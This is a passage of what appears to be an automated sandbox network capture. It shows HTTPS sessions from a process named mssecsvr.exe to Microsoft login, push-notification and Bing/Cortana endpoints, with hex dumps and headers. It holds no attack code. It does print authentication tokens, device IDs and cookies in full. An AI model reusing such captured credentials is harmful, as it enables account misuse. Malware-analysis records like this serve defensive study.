2022-07-20 04:06:26 UTC	1135	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 04:05:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 4caac854-7c6b-4466-be92-d0895db5c6cb PPServer: PPV: 30 H: BL02PF6C7BC2D44 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 04:06:26 GMT Connection: close Content-Length: 11093
2022-07-20 04:06:26 UTC	1135	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	50223	20.190.159.2	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:26 UTC	1086	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4776 Host: login.live.com
2022-07-20 04:06:26 UTC	1091	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 04:06:26 UTC	1101	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 04:05:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 6e0c05a4-262b-4416-a950-8bcceaf5c78b PPServer: PPV: 30 H: BL02EPF00006857 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 04:06:25 GMT Connection: close Content-Length: 11093
2022-07-20 04:06:26 UTC	1101	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	50227	20.190.159.2	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:26 UTC	1095	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4776 Host: login.live.com
2022-07-20 04:06:26 UTC	1096	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 04:06:26 UTC	1146	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 04:05:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: c0fbd403-333b-49f5-8ba3-4be913644282 PPServer: PPV: 30 H: BL02PF18A540BD0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 04:06:26 GMT Connection: close Content-Length: 11093
2022-07-20 04:06:26 UTC	1147	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	50243	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:27 UTC	1157	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 30 36 64 32 66 62 66 61 61 65 32 66 36 30 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 706d2fbfaae2f600
2022-07-20 04:06:27 UTC	1158	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:06:27 UTC	1158	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 30 36 64 32 66 62 66 61 61 65 32 66 36 30 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: 706d2fbfaae2f600<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:06:27 UTC	1159	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 30 36 64 32 66 62 66 61 61 65 32 66 36 30 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 706d2fbfaae2f600<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 04:06:27 UTC	1159	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:06:27 UTC	1159	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 78 75 53 64 32 59 66 61 45 69 31 71 39 70 47 47 77 47 5a 70 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: sxuSd2YfaEi1q9pGGwGZpQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	50245	204.79.197.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:27 UTC	1159	OUT	GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-Device-IsBatteryCertified: false X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-Device-IsBatteryEnabled: false X-Device-NetworkType: ethernet X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061387448759736 X-DeviceID: 0100748C09001CEA X-VoiceActivationOn: false X-Device-AudioCapture: Microphone (High Definition Audio Device) X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAASm/%2BKkOIy2IDEmL7wJaocVztlvrDLH1R9ezKTpUY8yOzWIRyKxk86OOiGu7K4YsEqi4zJow8lBJEtL9K41AvXlyerrcc1zhXU3oKWomAsxLo1VzI8xXSOPY03dpl5pmWLUeOoWrAgRQbKCkEcXz6tWU9tf416fEFBtingH7GQtooa3tf%2BCP2hiGbG/gG402piZvz/D6iL0a4L6YizKj5y2Lc5fP3hjRW4fGUx4r/YHefwKfl9Kbc3GKvUQDfME10nRuJMuKOMh%2BRhFk8RrZB8ObxJvYIuKt8wFucXjE/7yLn1crpg/NThlysedDBpmHkMRhMM78hFugqmumxJH08bkDZgAACKWv9jZMAFkJqAHq1AOHZK9S/YVvqnKa7OZjFooWPz75dtV%2BEmzNJiz6RaMe67eqcYxCRyV3/znajHtvsp4QPdCjqHF%2B7qmQ5DsUw1L7%2BwJ22/mEWXDsXrEzqQqOkVIuvfwdEuBRm4rliUKoFy3IVPXb3y8KFT9cNk/FBqprBqoQ5iNIbHTuLVkIYYAA3HL2mTJ04tTDM4WG8aymFdIPQQWiGyMHiUjTUSa26p5YRCDpmcyvPRRcP/v1SG6XKUMKk0ZJaY9ot67SkXHBgRSrypdDjSSJo7xbszAjWKnDYNOu8sJ06UaOvOe%2BM2i2ge3LpDksrajL3uODwF9bkG6IIpzcIa6w8p9vhzBcRlW6TQnZJDfrF9HB2fOc82nrmjA/sLPmjtmRcaZ02CBRIgw5TdtOlMahCJ4XKYuxEMhondbubIVh3QcotOlqO%2BlJ71fGMM8gJatt9JHUWjQdCdtwFdhlvQmNf7piLBHi7og55E7DkT2x7jnlqntO87jphaKlUCVBPQkEuk4Di3iZn9k4WO4hyBMmqwkaHsx98tat99r3Fn1LmJUEnTtHqB/KFmNUZNsC1gE%3D%26p%3D X-Agent-DeviceId: 0100748C09001CEA X-BM-CBT: 1658322332 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-IsEnergyHero: false X-Device-Touch: false X-Device-ClientSession: F74EDC4E6BFE417981B96292DC090A6F X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=54AD14FB4D1E4A6C815A867991009454
2022-07-20 04:06:27 UTC	1167	IN	HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, no-cache Pragma: no-cache Content-Length: 311 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 04:06:27 GMT; path=/; HttpOnly Set-Cookie: MUIDB=54AD14FB4D1E4A6C815A867991009454; expires=Mon, 14-Aug-2023 04:06:27 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=0EBE2E04D93E64CD084C3FE3D8B5650E&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 04:06:27 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=67BB2F18B1C8422086ECFDFFDA3087BF&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 04:06:27 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 04:06:27 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 04:06:27 GMT; path=/ Set-Cookie: ANON=A=84D464251C6428FCBF66122FFFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 04:06:27 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=0EBE2E04D93E64CD084C3FE3D8B5650E; domain=.bing.com; path=/ Set-Cookie: BM-Identity-Error=3002; domain=.bing.com; expires=Wed, 20-Jul-2022 04:11:27 GMT; path=/ X-XSS-Protection: 0 X-Search-ErrorInfo: Error:3002,Message:'FB ID missing' X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F80AA9EA42164896A851EA8D30479642 Ref B: FRA31EDGE0607 Ref C: 2022-07-20T04:06:27Z Date: Wed, 20 Jul 2022 04:06:26 GMT Connection: close
2022-07-20 04:06:27 UTC	1169	IN	Data Raw: 7b 22 42 61 73 65 50 61 67 65 22 3a 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 7d 2c 22 41 6e 73 77 65 72 73 22 3a 5b 5d 2c 22 43 6f 6e 66 69 67 22 3a 7b 22 50 72 65 66 65 74 63 68 49 6e 74 65 72 76 61 6c 22 3a 37 32 30 2c 22 42 61 Data Ascii: {"BasePage":{"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}}},"Answers":[],"Config":{"PrefetchInterval":720,"Ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.6	50244	204.79.197.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:27 UTC	1161	OUT	GET /client/config?cc=US&setlang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061387448759736 X-DeviceID: 0100748C09001CEA X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAASm/%2BKkOIy2IDEmL7wJaocVztlvrDLH1R9ezKTpUY8yOzWIRyKxk86OOiGu7K4YsEqi4zJow8lBJEtL9K41AvXlyerrcc1zhXU3oKWomAsxLo1VzI8xXSOPY03dpl5pmWLUeOoWrAgRQbKCkEcXz6tWU9tf416fEFBtingH7GQtooa3tf%2BCP2hiGbG/gG402piZvz/D6iL0a4L6YizKj5y2Lc5fP3hjRW4fGUx4r/YHefwKfl9Kbc3GKvUQDfME10nRuJMuKOMh%2BRhFk8RrZB8ObxJvYIuKt8wFucXjE/7yLn1crpg/NThlysedDBpmHkMRhMM78hFugqmumxJH08bkDZgAACKWv9jZMAFkJqAHq1AOHZK9S/YVvqnKa7OZjFooWPz75dtV%2BEmzNJiz6RaMe67eqcYxCRyV3/znajHtvsp4QPdCjqHF%2B7qmQ5DsUw1L7%2BwJ22/mEWXDsXrEzqQqOkVIuvfwdEuBRm4rliUKoFy3IVPXb3y8KFT9cNk/FBqprBqoQ5iNIbHTuLVkIYYAA3HL2mTJ04tTDM4WG8aymFdIPQQWiGyMHiUjTUSa26p5YRCDpmcyvPRRcP/v1SG6XKUMKk0ZJaY9ot67SkXHBgRSrypdDjSSJo7xbszAjWKnDYNOu8sJ06UaOvOe%2BM2i2ge3LpDksrajL3uODwF9bkG6IIpzcIa6w8p9vhzBcRlW6TQnZJDfrF9HB2fOc82nrmjA/sLPmjtmRcaZ02CBRIgw5TdtOlMahCJ4XKYuxEMhondbubIVh3QcotOlqO%2BlJ71fGMM8gJatt9JHUWjQdCdtwFdhlvQmNf7piLBHi7og55E7DkT2x7jnlqntO87jphaKlUCVBPQkEuk4Di3iZn9k4WO4hyBMmqwkaHsx98tat99r3Fn1LmJUEnTtHqB/KFmNUZNsC1gE%3D%26p%3D X-Agent-DeviceId: 0100748C09001CEA X-BM-CBT: 1658322331 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-Touch: false X-Device-ClientSession: F74EDC4E6BFE417981B96292DC090A6F X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=54AD14FB4D1E4A6C815A867991009454
2022-07-20 04:06:27 UTC	1164	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2041 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 04:06:27 GMT; path=/; HttpOnly Set-Cookie: MUIDB=54AD14FB4D1E4A6C815A867991009454; expires=Mon, 14-Aug-2023 04:06:27 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=28F5B8D35CE86B2C0EDDA9345D636A7A&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 04:06:27 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=19B089128A324821ABCDCD99B250757B&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 04:06:27 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 04:06:27 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 04:06:27 GMT; path=/ Set-Cookie: ANON=A=84D464251C6428FCBF66122FFFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 04:06:27 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=28F5B8D35CE86B2C0EDDA9345D636A7A; domain=.bing.com; path=/ X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1D0A8EDB2F0D403D9ECF4B6B460D8184 Ref B: FRA31EDGE0213 Ref C: 2022-07-20T04:06:27Z Date: Wed, 20 Jul 2022 04:06:27 GMT Connection: close
